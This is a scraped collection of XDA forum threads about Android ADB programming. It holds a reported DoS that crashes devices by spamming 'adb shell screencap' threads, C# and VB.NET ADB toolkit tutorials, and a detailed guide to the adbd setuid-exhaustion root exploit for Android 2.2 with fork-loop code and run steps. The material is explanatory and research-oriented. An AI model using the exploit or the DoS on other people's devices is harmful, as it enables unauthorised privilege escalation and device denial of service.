[DoS] System crash caused by thread spamming (non root/rooted device) - Android Software/Hacking General [Developers Only]

Making a screen capture application in c# and while doing so i discovered a.. bug?
Update: been classed as a DoS by google. be cautious of the PC and android apps you use as one spamming "screencap" at boot could render a NON rooted device useless.
Fix: none available yet, how could we stop the same command being executed hundreds of times on different threads?
while using
Code:
new Thread(() =>
{
Thread.CurrentThread.IsBackground = true;
Process screencap= new Process();
ProcessStartInfo screencapinfo= new ProcessStartInfo();
screencapinfo.WindowStyle = ProcessWindowStyle.Hidden;
screencapinfo.CreateNoWindow = true;
screencapinfo.UseShellExecute = false;
screencapinfo.RedirectStandardOutput = true;
screencapinfo.FileName = "cmd.exe";
screencapinfo.Arguments = " /c \" adb shell screencap -p /sdcard/screen.png & adb pull /sdcard/screen.png\"";
screencap.StartInfo = screencapinfo;
screencap.Start();
}).Start();
while looping a thread containing "adb shell screencap -p /sdcard/screen.png & adb pull /sdcard/screen.png"
after 10 seconds the device is glitching, 30 seconds the device is unusable, after 1 minute if you take out the usb the device reboots instantly.
Ive attached a logcat of the processes running.
Logat of screencap
Additional device info-
manufactur: ZTE
model: blade v0720
android version: 6.0
kernel version: 3.18.19
root: no
custom recovery: no
unlocked bootloader: no

Provides a DoS style attack, further updates will be posted HERE on the official google bug tracker

Related

[HOW TO] Make your own Android Toolkit for Windows in C# - Make it to your liking!

[HOW TO] Make your own Android Toolkit for Windows using C#​
In this tutorial it will show you how to use Windows C# to create your very own toolkit for use of simple ADB commands.
Such as:
- Rebooting your Device.
- Rebooting to Recovery/CWM or Bootloader.
- Installing APK's directly to your device.
- Installing general files to the SDCARD
- Pushing and Pulling files
Or if you look into it enough you can Implement such features as:
- Rooting your Device.
- Unlocking/Locking Bootloader.
- File Permissions.
( These won't Be covered in this Tutorial, as they require much more time, especially Rooting. )
Knowledge required​
- A set up Visual C# Studio ready to use on your PC. It can be downloaded here : http://www.microsoft.com/visualstudio/eng/downloads
- General knowledge about C# such as using buttons, text boxes and the actual studio.
Getting Started​
So once you have set up your Visual C# studio, create a windows Form application and mess around with the user interface a little if you like to make it to your taste. :highfive:
So here is a picture of my preview:
I have applied a few different ADB tasks buttons as you can see, Including APK install using a Textbox to store your chose directory of the selected file.( As well as a few colour and form name changes to make it more appealing )
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Writing the ADB commands to the chosen Buttons in your application.​
Now we want to click on the ADB reboot button until it changes to the code layout as such...
Now we have this layout we want to add the namespaces :
using System.IO;
using System.Diagnostics;
These will allow use for CMD and Process features.
Adding ADB commands to the Buttons​
How you have your ADB reboot button code ready to write to.
Use this function: and insert it in between the two Curly brackets
{
var process = Process.Start("CMD.exe", "/c adb reboot");
process.WaitForExit();
}
[/B]
Such as:
MessageBox.Show("Device is Now Rebooting..");
The line uses CMD.exe as the process which will run it as an application and use the /c (command) to execute "adb reboot".
Which will reboot the connected device as long as it's android..
So once you have gone through using the correct ADB commands your application code will look like this..
The ADB wont work yet when running a debug version, so don't try and execute any commands yet.. The adb.exe and a couple of other files need to be stored in the same folder as your toolkit as a resource for ADB to run off of.
Using Textboxes and OpenFileDialog to Install .APK files.​
So once you have clicked the two buttons and textbox.
Setting you up ready to code it will look like this:
ADDING CODE
Assuming you have added OpenFileDialog to your Form Design!
We can now add code to the 2 buttons and text box.
It will look like this after adding the following to segments of code.
Add this to Open APK button:
openFileDialog1.InitialDirectory = @"C:\";
openFileDialog1.Title = "Select your APK..";
openFileDialog1.FileName = "Choose File..";
openFileDialog1.CheckFileExists = true;
openFileDialog1.CheckPathExists = true;
openFileDialog1.Filter = " .APK|*.apk";
if (openFileDialog1.ShowDialog() == DialogResult.OK)
{
textBox1.Text = openFileDialog1.FileName;
}​
And add this to Install APK file button:
var process = Process.Start("CMD.exe", "/c adb install " + textBox1.Text);
process.WaitForExit();
MessageBox.Show(".APK is Installed", "", MessageBoxButtons.OK, MessageBoxIcon.Information);​
Now' that is almost it!
Once you have saved and Built a release version of the tool.
Put the .exe from release of the saved directory into a folder ALONG with ADB.exe, ADBWinAPI.DLL and ADBWINUSBAPI.DLL
These ADB files a part of the Android platform tools from the SDK manager. You should already have these if you want to do this process
- If not just google them or download the SDK manager and find them.
Now That's it!
I think I have covered most parts if you want to write your own processes for ADB to execute feel free to do so..
I thought it maybe nice for people who liking personalizing their devices to also personalize toolkits for themselves also!
Thanks and Enjoy if you have any Issues or problems feel free to ask!
Enjoy, QuantumCipher
You can keep upto date on anything I'm doing via Facebook http://www.facebook.com/Quantumcipher
or Youtube https://www.youtube.com/user/QuantumCipher
Thanks for the feedback everyone (Y) ....
Not sure if everyone has no idea what C# is or Just like using developer stuff..
Thanks....
Thanks Man.. i was looking for the same... Can you give me tutorials for rooting and other aspects... Im wating for you....
Also, you could show them how to integrate my AndroidLib .NET library into it to handle all of the adb stuff
Nice!! Reserved below Also!! I don't have experience with C# but I can learn by mistakes!
Very nice tutorial!
As long it is a nexus device the rooting and flash cwm thing is the same thing except you're using fastboot commands.
kind regards
How can I get output text from cmd.exe? For example, if I have another textbox, and I want to display text. Text can be
Waiting for device ......(in case device not found)
Adb server start......depend on cmd.exe output.
Sent from my Spirit S using xda premium
regaw_leinad said:
Also, you could show them how to integrate my AndroidLib .NET library into it to handle all of the adb stuff
Click to expand...
Click to collapse
+1 on that, it's the shortest way and it was the reason behind Droid Manger existence, thus this tutorial shows what goes inside your lib and it's useful for those who are learning C# for the first time, or never interacted with a process in their app :good:
OP keep up the good work
@menglim:
To get out put from a process, here is an example:
Code:
Process process = new System.Diagnostics.Process();
ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.RedirectStandardInput = true;
startInfo.RedirectStandardOutput = true;
startInfo.RedirectStandardError = true;
startInfo.UseShellExecute = false;
startInfo.FileName = "cmd.exe";
process = Process.Start(startInfo);
process.StandardInput.WriteLine(Command_You_Want_To_Give_To_Your_Process);
outputTextBox.Text = process.StandardOutput.ReadToEnd();
Hope this helps
DeepUnknown said:
+1 on that, it's the shortest way and it was the reason behind Droid Manger existence, thus this tutorial shows what goes inside your lib and it's useful for those who are learning C# for the first time, or never interacted with a process in their app :good:
OP keep up the good work
@menglim:
To get out put from a process, here is an example:
Code:
Process process = new System.Diagnostics.Process();
ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.RedirectStandardInput = true;
startInfo.RedirectStandardOutput = true;
startInfo.RedirectStandardError = true;
startInfo.UseShellExecute = false;
startInfo.FileName = "cmd.exe";
process = Process.Start(startInfo);
process.StandardInput.WriteLine(Command_You_Want_To_Give_To_Your_Process);
outputTextBox.Text = process.StandardOutput.ReadToEnd();
Hope this helps
Click to expand...
Click to collapse
yes, it works but there is cmd.exe window pop up....after I close this window, then I can get the output. it is not in real time...thanks
DeepUnknown said:
+1 on that, it's the shortest way and it was the reason behind Droid Manger existence, thus this tutorial shows what goes inside your lib and it's useful for those who are learning C# for the first time, or never interacted with a process in their app :good:
OP keep up the good work
@menglim:
To get out put from a process, here is an example:
Code:
Process process = new System.Diagnostics.Process();
ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.RedirectStandardInput = true;
startInfo.RedirectStandardOutput = true;
startInfo.RedirectStandardError = true;
startInfo.UseShellExecute = false;
startInfo.FileName = "cmd.exe";
process = Process.Start(startInfo);
process.StandardInput.WriteLine(Command_You_Want_To_Give_To_Your_Process);
outputTextBox.Text = process.StandardOutput.ReadToEnd();
Hope this helps
Click to expand...
Click to collapse
Thanks for sharing this code!
Is it possible for the output to show as it appears on cmd?
Thanks
Saw this last week, never programmed with C# but thought what the hell i have already done C++ at uni, some java for making an android app
so i downloaded VS2012 opened up google and went nuts, i now have a toolkit so far, downloads the sdk, extracts the sdk ( yea i know i could just pack the adb .dll's and .exe but while learning the language i might as well learn other stuff.) and i have backup/restore options for /sdcard/ and /dcim/ folders and a folder picker for backing up, contacts backup/restore ( looking to create something that will export it as a CSV or something)
so a big thanks for shedding some light on where to get started on this, now i cant stop and want to make a toolkit will loads of features lol :victory:
0lzi said:
Saw this last week, never programmed with C# but thought what the hell i have already done C++ at uni, some java for making an android app
so i downloaded VS2012 opened up google and went nuts, i now have a toolkit so far, downloads the sdk, extracts the sdk ( yea i know i could just pack the adb .dll's and .exe but while learning the language i might as well learn other stuff.) and i have backup/restore options for /sdcard/ and /dcim/ folders and a folder picker for backing up, contacts backup/restore ( looking to create something that will export it as a CSV or something)
so a big thanks for shedding some light on where to get started on this, now i cant stop and want to make a toolkit will loads of features lol :victory:
Click to expand...
Click to collapse
Thanks very much for the kind remarks everybody, it's extremely nice to know that this tutorial has helped you get into C# and this exact comment you made is what is going to get me back into this scene :good:
I will start looking into rooting devices and how I can incorporate them into ADB programs and maybe other things.
DeepUnknown said:
+1 on that, it's the shortest way and it was the reason behind Droid Manger existence, thus this tutorial shows what goes inside your lib and it's useful for those who are learning C# for the first time, or never interacted with a process in their app :good:
OP keep up the good work
@menglim:
To get out put from a process, here is an example:
Code:
Process process = new System.Diagnostics.Process();
ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.RedirectStandardInput = true;
startInfo.RedirectStandardOutput = true;
startInfo.RedirectStandardError = true;
startInfo.UseShellExecute = false;
startInfo.FileName = "cmd.exe";
process = Process.Start(startInfo);
process.StandardInput.WriteLine(Command_You_Want_To_Give_To_Your_Process);
outputTextBox.Text = process.StandardOutput.ReadToEnd();
Hope this helps
Click to expand...
Click to collapse
Hey all together,
1st THX for this great thread!
-
I have some problems to get the "fastboot" output in my c# programm...
i tired it with adb and some other cmd tools all give me an output but fastboot not
Here my cmd launcher:
//Launch silent CMD
private string run_silent_cmd(string args, bool w = true, bool o = true)
{
string request = "";
Process process = new System.Diagnostics.Process();
ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.CreateNoWindow = true;
startInfo.RedirectStandardInput = true;
startInfo.RedirectStandardOutput = true;
startInfo.RedirectStandardError = true;
startInfo.UseShellExecute = false;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/Q/C" + args;
process = Process.Start(startInfo);
if (o)
{
request = process.StandardOutput.ReadToEnd();
}
if (w)
{
process.WaitForExit();
}
return request;
}
can some1 gimme a kick in the right direction?
Regards,
Sebastian
k1ll3r8e said:
Hey all together,
1st THX for this great thread!
-
I have some problems to get the "fastboot" output in my c# programm...
i tired it with adb and some other cmd tools all give me an output but fastboot not
Here my cmd launcher:
//Launch silent CMD
private string run_silent_cmd(string args, bool w = true, bool o = true)
{
string request = "";
Process process = new System.Diagnostics.Process();
ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.CreateNoWindow = true;
startInfo.RedirectStandardInput = true;
startInfo.RedirectStandardOutput = true;
startInfo.RedirectStandardError = true;
startInfo.UseShellExecute = false;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/Q/C" + args;
process = Process.Start(startInfo);
if (o)
{
request = process.StandardOutput.ReadToEnd();
}
if (w)
{
process.WaitForExit();
}
return request;
}
can some1 gimme a kick in the right direction?
Regards,
Sebastian
Click to expand...
Click to collapse
Have you added the Fastboot.exe to your resources - for the program your making?
QuantumCipher said:
Have you added the Fastboot.exe to your resources - for the program your making?
Click to expand...
Click to collapse
Nope, its just in an subfolder so that the user can upgrade the version if a new 1 comes out
i call the function like run_silent_cmd(KIT + "adb\\fastboot.exe some commands")
@k1ll3r8e
k1ll3r8e said:
Hey all together,
1st THX for this great thread!
-
I have some problems to get the "fastboot" output in my c# programm...
i tired it with adb and some other cmd tools all give me an output but fastboot not
Here my cmd launcher:
//Launch silent CMD
private string run_silent_cmd(string args, bool w = true, bool o = true)
{
string request = "";
Process process = new System.Diagnostics.Process();
ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.CreateNoWindow = true;
startInfo.RedirectStandardInput = true;
startInfo.RedirectStandardOutput = true;
startInfo.RedirectStandardError = true;
startInfo.UseShellExecute = false;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/Q/C" + args;
process = Process.Start(startInfo);
if (o)
{
request = process.StandardOutput.ReadToEnd();
}
if (w)
{
process.WaitForExit();
}
return request;
}
can some1 gimme a kick in the right direction?
Regards,
Sebastian
Click to expand...
Click to collapse
Your variable "args" should include the path for Fastboot.exe or your code should be like this (I'm using an example path in this example, you must replace it with your own path):
startInfo.Arguments = "/Q/C " + @"C:\AdbTools\fastboo.exe " + args;
OR
startInfo.Arguments = String.Join(" ", "/Q/C", Path.Combine("C:","AdbTools","fastboot.exe"), args);
(The first parameter passed in String.Join refers to separator string)
-------------------------------------------------------
@menglim
menglim said:
yes, it works but there is cmd.exe window pop up....after I close this window, then I can get the output. it is not in real time...thanks
Click to expand...
Click to collapse
try this, enter it after you define ProcessStartInfo (let's say you named it just like in the code snippet I gave)
startInfo.CreateNoWindow = true;
now window should disappear.
if not, remove this line and keep the one I gave you in this comment: startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
-------------------------------------------------------
@squabbi
squabbi said:
Thanks for sharing this code!
Is it possible for the output to show as it appears on cmd?
Thanks
Click to expand...
Click to collapse
it's possible but a bit tricky, you can start by making the "Label" / "TextBlock" / "TextBox" or whatever UIElement you are using and set it's background to black and it's foreground to white, then choose "Console" font family, this should get you "Close enough" to the same output style
Note for anyone passing by this page:
When dealing with Directories in C#, ALWAYS use this code snippet, I will explain why at the end of this comment:
Path.Combine("Root Dir","SubDir1","SubDir2","File_You_Want_To_Use");
Where: Root Dir could be any logical partition you have on your HDD or the root dir of your application.
in my case in Droid Manager I have an internal variable (called: ExecutablePath) that saves the path of Droid Manager after installation, so in my case when I want to call an Init.d script example I use the following code snippet:
Path.Combine(ExecutablePath,"Initd_Scripts", "File_Name");
When wanting to add multiple strings together use this following code snippet:
String.Join(Separator String, params string Arguments);
Those ensure the best result, by that I mean be sure system will read them they way they are intended to be read, if you use "+" or "\\" or "@" there might be some misunderstanding by the system which happened to me when I started learning programming 7 years ago.
Good Luck
DeepUnknown said:
@k1ll3r8e
Your variable "args" should include the path for Fastboot.exe or your code should be like this (I'm using an example path in this example, you must replace it with your own path):
startInfo.Arguments = "/Q/C " + @"C:\AdbTools\fastboo.exe " + args;
OR
startInfo.Arguments = String.Join(" ", "/Q/C", Path.Combine("C:","AdbTools","fastboot.exe"), args);
Click to expand...
Click to collapse
Thx for the info
but... "Path.Combine" tells me only 2 strings can be combined so its useless for me coz i get the path via "Application.StartupPath" and i have 2 subfolder this means i have 3 strings to combine^^
thats why i set some vars in my form...
//KIT Vars
private static string KIT = Application.StartupPath + "\\";
private static string ADB = KIT + "adb\\adb.exe";
private static string FBT = KIT + "adb\\fastboot.exe";
also fastboot will not output anything
i googled a bit and found some threads... in this threads they say fastboot dun use the "flush" command (!?) this will mean the output is not grab able...
i think they are right^^ coz adb or cmd it self will output something via my function only fastboot returns nothing...
menglim said:
yes, it works but there is cmd.exe window pop up....after I close this window, then I can get the output. it is not in real time...thanks
Click to expand...
Click to collapse
squabbi said:
Thanks for sharing this code!
Is it possible for the output to show as it appears on cmd?
Thanks
Click to expand...
Click to collapse
k1ll3r8e said:
Thx for the info
but... "Path.Combine" tells me only 2 strings can be combined so its useless for me coz i get the path via "Application.StartupPath" and i have 2 subfolder this means i have 3 strings to combine^^
thats why i set some vars in my form...
//KIT Vars
private static string KIT = Application.StartupPath + "\\";
private static string ADB = KIT + "adb\\adb.exe";
private static string FBT = KIT + "adb\\fastboot.exe";
also fastboot will not output anything
i googled a bit and found some threads... in this threads they say fastboot dun use the "flush" command (!?) this will mean the output is not grab able...
i think they are right^^ coz adb or cmd it self will output something via my function only fastboot returns nothing...
Click to expand...
Click to collapse
Nope not true, Path.Combine takes more than two args. I've passed to it 4 args in Droid Manager, here is a screenshot about it:
Also be sure that you remove this:
using System.Windows.Shapes;
and replace it with:
using System.IO;
so that the correct "Path" class is being called. if it's not there then no need to do anything just be sure System.IO is added.
Also "Flush" command means the same as in the image below:
Fastboot does show output but on certain commands, for example when you type: Fastboot devices
you will get an output IF AND ONLY IF you have a connected device in Fastboot mode.
Or when you unlock a Sony Xperia bootloader you will get output.
DeepUnknown said:
Nope not true, Path.Combine takes more than two args. I've passed to it 4 args in Droid Manager, here is a screenshot about it:
Also be sure that you remove this:
using System.Windows.Shapes;
and replace it with:
using System.IO;
so that the correct "Path" class is being called. if it's not there then no need to do anything just be sure System.IO is added.
Also "Flush" command means the same as in the image below:
Fastboot does show output but on certain commands, for example when you type: Fastboot devices
you will get an output IF AND ONLY IF you have a connected device in Fastboot mode.
Or when you unlock a Sony Xperia bootloader you will get output.
Click to expand...
Click to collapse
Thx for the fast reply
My doc beginning is
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Diagnostics;
using System.Reflection;
but see img below
the thing with the streamwriter i dun understand^^ - tried it yesterday a few times but with no luck
Finally i think im too dumb... coz "adb.exe version" give me an output and "adb start-server" brings my proggy to hangup^^
k1ll3r8e said:
Thx for the fast reply
My doc beginning is
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Diagnostics;
using System.Reflection;
but see img below
the thing with the streamwriter i dun understand^^ - tried it yesterday a few times but with no luck
Finally i think im too dumb... coz "adb.exe version" give me an output and "adb start-server" brings my proggy to hangup^^
Click to expand...
Click to collapse
Hmmm... Windows Form, to be honest the last time I worked with Windows Form application was two years ago, since 2011 I program WPF projects, which Microsoft is focusing on + it is more flexible when it comes to App UI and data bindings, that's why I use it.
There are differences between Windows Form and WPF unfortunately :-/
By the way if you consider switching to WPF you need to also learn XAML language (not XML, it's XAML) so you can play with the UI the way you want.
Good luck

ADB + Visual Basic Net Project!

Hello Friends!
I am developing an application that makes use of adb.exe, with this code I managed to read the model...
Code:
Dim model As New ProcessStartInfo()
model.UseShellExecute = False
model.FileName = "adb.exe"
model.Arguments = "shell getprop ro.product.model"
model.CreateNoWindow = True
model.RedirectStandardOutput = True
Dim adb As New Process()
adb.StartInfo = model
adb.Start()
Dim string_out As StreamReader = adb.StandardOutput()
ListBox1.Items.Add("Model: " & string_out.ReadToEnd())
ListBox1.TopIndex = ListBox1.Items.Count - 1
string_out.Close()
adb.Close()
My problem is I want to detect before if the phone is connected or not, for example, Phone connected!
This code returns me Model: GT-B5510L, GT-B5330L, GT-I9300, etc... but if I disconnect instead of telling me that is not connected, it returns me Model:
Someone guide me?
Faq88 said:
Hello Friends!
I am developing an application that makes use of adb.exe, with this code I managed to read the model...
Code:
Dim model As New ProcessStartInfo()
model.UseShellExecute = False
model.FileName = "adb.exe"
model.Arguments = "shell getprop ro.product.model"
model.CreateNoWindow = True
model.RedirectStandardOutput = True
Dim adb As New Process()
adb.StartInfo = model
adb.Start()
Dim string_out As StreamReader = adb.StandardOutput()
ListBox1.Items.Add("Model: " & string_out.ReadToEnd())
ListBox1.TopIndex = ListBox1.Items.Count - 1
string_out.Close()
adb.Close()
My problem is I want to detect before if the phone is connected or not, for example, Phone connected!
This code returns me Model: GT-B5510L, GT-B5330L, GT-I9300, etc... but if I disconnect instead of telling me that is not connected, it returns me Model:
Someone guide me?
Click to expand...
Click to collapse
I'm also beginner of these type of program. If you find something, please share!
Thanks,:good:
here you can check and make any changes for you adb app.
https://github.com/kidkanjas/ADBGUIV3

[GUIDE] Android Rooting for Programmers

Author: Apriorit (Device Team)
Permanent link: www(dot)apriorit(dot)com/dev-blog/255-android-rooting
You have an Android Device and you are familiar with Linux based operating systems. Maybe, you like SSH or telnet to communicate with the device; you want to setup your device as a router to connect home PC to the Internet. However, you will be surprised. Android has neither login screen nor possibility to gain privileged user access to the system to do these things. This is one of the Android security principles to isolate applications from the user, each other, and the system.
In this article, I will describe you how to gain root access on an Android device in spite of security. I will delve deeply into one of the Android rooting principles - the adb exhaustion attack, which is simpler to understand than a previous udev exploit. It is suitable for all Android-powered devices with the version 2.2 and lower.
Rooting principles
Overview
In three words, the main rooting idea is to get super user rights on a device shell. Like a standard Linux shell, it allows you to interact with the device by executing commands from the shell. The shell can be accessed via ADB (Android Debug Bridge) command tool. The main purposes of the ADB on Android-powered devices are debugging, helping to develop applications and also, in some cases, it is used for synchronization purposes (when syncing HTC Wildfire, it is required to turn on the USB Debugging). We will use the ADB tool for uploading and executing the exploit, working with rooted device via super user shell with full access to whole device file system, programs and services.
ADB includes three components:
1. A client, which runs on your machine. Windows users can invoke it from the cmd and Linux users - from the shell;
2. A server, which runs as a background process on your machine. It manages communication between the client and the daemon running on the Android-powered device;
3. A daemon, which runs as a background process on the device.
We are interested only in the third component. The daemon runs on a device and communicates with a client through a server. When you issue the ADB command like a shell, the daemon will create a shell instance on a device and redirect its output to the client. Obviously, the shell new instance created by the daemon inherits rights and environment from its parent. As the daemon runs with the AID_SHELL rights, the shell new instance and all processes created by the shell will have the same access rights. Hence, to get super user rights in the shell, we just need the daemon to be running with these rights.
To understand why the ADB daemon has the ADT_SHELL user space, we will consider how it is started up and look at its initialization script.
The first user land process started after the Android device booting is the init process. After initialization and starting of internal services like property service, ueventd service etc., it begins parsing the init.rc configuration script. The ADB daemon is mentioned in the script as the service and it is started by the init service on the boot if the USB Debugging is enabled.
Let’s look at the ADB daemon initialization source code. The main daemon entry point, where it starts its execution, is adb_main. I skipped non significant pieces of code to focus your attention on the daemon security.
Code:
int adb_main(int is_daemon, int server_port)
{
...
int secure = 0;
...
/* run adbd in secure mode if ro.secure is set and
** we are not in the emulator
*/
property_get("ro.kernel.qemu", value, "");
if (strcmp(value, "1") != 0) {
property_get("ro.secure", value, "");
if (strcmp(value, "1") == 0) {
// don't run as root if ro.secure is set...
secure = 1;
}
}
/* don't listen on a port (default 5037) if running in secure mode */
/* don't run as root if we are running in secure mode */
if (secure) {
...
/* then switch user and group to "shell" */
setgid(AID_SHELL);
setuid(AID_SHELL);
...
return 0;
}
So, what we see here. When the ADB daemon is starting, it has super user rights, like the init process has. However, the daemon reads some properties from the system and decides to set secure flag or not. Usually, if the device is not a development device and it is not an emulator, the properties have such values:
ro.kernel.qemu – “0” // is running on emulator
ro.secure – “1” // secure mode
After properties are checked, the secure flag is set to true, and we hit to such code section:
Code:
if (secure) {
...
/* then switch user and group to "shell" */
setgid(AID_SHELL);
setuid(AID_SHELL);
...
Starting from this point, the daemon continues its execution with the AID_SHELL user id as it drops root privileges. All processes, started by the ADB daemon, like sh, will inherit its rights and will work in very limited environment. It is really sad, isn’t it?
Exhaustion attack
The main rooting principle of the exploit described in this article is the setuid exhaustion attack. The setuid function changes the user id for a process only in case if there are resources available, otherwise it fails and the process remains with that user id, with which it was started. Let’s look at the resources that can be limited by the Linux operating system. We are interested only in the RLIMIT_NPROC resource. This resource limits maximum numbers of processes that can be created with the same user id. If you have reached the limit, you can’t create more processes with this user id. The setuid function doesn’t create processes, but it follows this rule. Once, the NPROC limit for the AID_SHELL user is reached, setuid fails and the process continues its execution with the user id set before the setuid call. It means, when the ADB daemon starts with the AID_ROOT user id and tries to change it for AID_SHELL, for which NPROC is reached, setuid fails and the daemon user id remains AID_ROOT.
It is easy enough, isn’t it?
In files attached to the article, you can find the binary file and sources. They implement the adb exhaustion attack explained above. The rooting process is easy for a user and I will describe how to use it below, but now, I will go into detail about the attack implementation. I will touch upon the source code structure and go into detail about a few important points.
Let’s look at the root() function in the impl.cpp file. It implements the main logic of the exploit.
...
Code:
rlimit s_rlimit = { 0 };
getrlimit( RLIMIT_NPROC, &s_rlimit );
printf( "RLIMIT_NPROC: %d.%d\n", s_rlimit.rlim_cur, s_rlimit.rlim_max );
pid_t adbdPid( get_pid( g_adbd_name ) );
...
At the beginning, after it gets and prints the NPROC limits, it runs the ADB daemon PID and saves it into a variable. It will be used later to kill original process. Next, look at the fork loop:
Code:
pid_t pid( -1 );
for( int i( 0 ); ; ++i )
{
pid = fork();
if( pid == 0 )
{
return ret;
}
...
The code above represents an infinite loop. It forks calling process and exits from a child. That is enough because PID, allocated for current user, remains active until the parent process exits. The loop works until the fork function returns negative value. It means that we have reached the NPROC limit. Let’s look at the next code piece. The PID is negative, but we have to remember that there is one more shell user process that will be terminated soon. This process is the ADB daemon that is still running. We couldn’t kill it on start because the init process would start it again and it is an advantage for us. So, as soon as we reach that condition, we read the ADB daemon PID and check if its user id is AID_SHELL or AID_ROOT (because we could reach the condition from the second or third iteration).If it is AID_SHELL, the program just sends SIGKILL to it and continues the loop (soon, we will reach it again). Once the daemon is killed, one more PID for this user is freed. We have to allocate this PID for the AID_SHELL user as soon as possible to prevent the daemon setting its user id as AID_SHELL. Ideally, there will be two additional loops: the first one forks and allocates a new PID for the AID_SHELL user and, as the result, the second one reaches the limit again, checks the daemon PID that should be AID_ROOT and exits. However, because of lack of resources or lots of delays, there could be rather more iterations.
...
Code:
else if( pid < 0 )
{
printf( "limit reached. kill adbd and wait for its root ...\n" );
adbdPid = get_pid( g_adbd_name );
if( adbdPid >=0 )
{
if( get_pid_user( adbdPid ) != 0 )
{
kill( adbdPid, SIGKILL );
}
else
{
break;
}
}
...
To prevent the exploit infinite loop in case if it is impossible to start the ADB daemon as root, there is a respawn guard for each forked child. Ten iterations and one second timeout have been chosen empirically when I was working with several devices and I found that some devices had a too big NPROC limit. It is obvious. They enquire too much processor resources to handle all created child processes. So, you may change the guard to fit your requirements or device.
...
Code:
else
{
static int theRespounGuard( 10 );
if( --theRespounGuard )
{
sleep( 1 );
}
else
{
break;
}
}
...
Configuration & Build
The exploit was configured to be built with the NDK toolset both on Linux, and on the Windows platform. If you are working on Linux, it will be enough for you to download NDK only; however, on the Windows platform, you have to download and install the Cygwin environment on your machine. In this paragraph, I will tell you how to configure and build the exploit on the Windows platform.
First of all, download and install the Android SDK. We need only a platform-tools package from the SDK to communicate with a device through ADB, so, at the SDK root directory, start the SDK Manager and check the platform-tools package. Install it.
You can add a path to platform-tools into your PATH variable or type the absolute path to the adb.exe executable any time later.
The second step is to download and install the Android NDK package and the Cygwin environment. Install them in the same location with SDK and add a path to your NDK package into the PATH variable or into your Cygwin .bash_profile. Then unpack a project archive attached to this article into your working directory available for Cygwin.
The project structure is very simple. In the AndroidExploit root, you will find two directories. In the bin directory, I have placed a precompiled exploit binary and a windows shell script file. The jni directory contains sources and the NDK build scripts.
Code:
/AndroidExploit
/bin
exploit // precompiled binary file
root.cmd // windows shell script. It helps to upload and run
// the exploit in device. Usualy it is enough run
// the script to root device.
/jni
Android.mk // NDK build script
Application.mk // some application settings
// the source files
cmdLine.cpp
cmdLine.h
impl.cpp
impl.h
main.cpp
proc.cpp
proc.h
To build the project, run the Cygwin environment, change a directory to the project/jni directory, and execute ndk-build. The Compiler output should look like this:
You can find an executable at libs/armeabi/exploit. The path is relative to the root of the project.
Running
The next paragraph describes how to use the binary file. You download the Android SDK, install platform-tools and make them available from the PATH variable. At first, enable the USB Debugging on your device. For this, from the main screen, go to Settings -> Applications -> Development and check the USB Debugging option, then connect your device to the PC and check that it has been detected by Windows Device Manager. Otherwise, install the Android USB drivers for your device from the manufacturer site.
Type the adb devices command in the command line. It will show you devices connected to your PC. If there are no devices connected, check that Windows Device Manager and Android USB drivers are installed.
We are on the right way! Let’s go to the device. Type the adb shell command, which will start the device shell, and then check your id to see who you are.
As it was expected, you are a shell user that has no privileges, no access, nothing … The only things you can do are installing programs and listing some directories. In other words, you can perform only permitted actions. I was very surprised when I couldn’t read /data/data directory, it was impossible for me to list it and see what programs were installed on my device.
Break the law. Go to the exploit bin directory and type adb push exploit /data/local/tmp. This command will upload the exploit in the device temporary directory available for the user. Then, type adb shell and change the directory to /data/local/tmp. The ls –l command will show you its content and permissions on recently uploaded files. Make the file executable by executing chmod exploit 776 and run it by ./exploit root.
The output shows NPROC and ADB daemon PID. Then, as soon as RLIMIT is reached, the shell will be disconnected. Wait for ~5 seconds and type adb shell again. As a result, you should see root # shell. Type id to make sure you are a root.
Yes, you are! Now, you can do anything even… let me think … even damage your device! So, all things you will do next are at your risk. Be careful!
One more, I want to add. The exploit works only on Android devices with versions 2.2 and older.

[Completed] AOSP Lolipop 5.1.xx ROM -Run App With SU Privileges

Run app with su privileges
I am a newbie in AOSP custom ROM battlefield. I am modifying the AOSP code for Lollipop 5.1.xx. I will have my custom ROM running on my device (Tablet). I have my app which is part of ROM and its loaded at location "../out/target/product/tilapia/system/app/myapp"
I want to execute the following command programmatically
"process = Runtime.getRuntime().exec("/system/xbin/su -c sh");"
Which I am not able to.
How to give root privileges to my app without rooting the device or using third party tools ? How can I achieve this as a Custom ROM for personal studies.
my code
/**
process = Runtime.getRuntime().exec("/system/xbin/su -c sh");
DataOutputStream dataOutputStream = new DataOutputStream(process.getOutputStream());
// Read the contents of wpa_supplicant.conf
dataOutputStream.writeBytes(mContext.getResources().getString("fileName");
dataOutputStream.writeBytes(mContext.getResources().getString(R.string.exit));
dataOutputStream.flush();
**/
Thanks in advance to all gurus.....
kamde said:
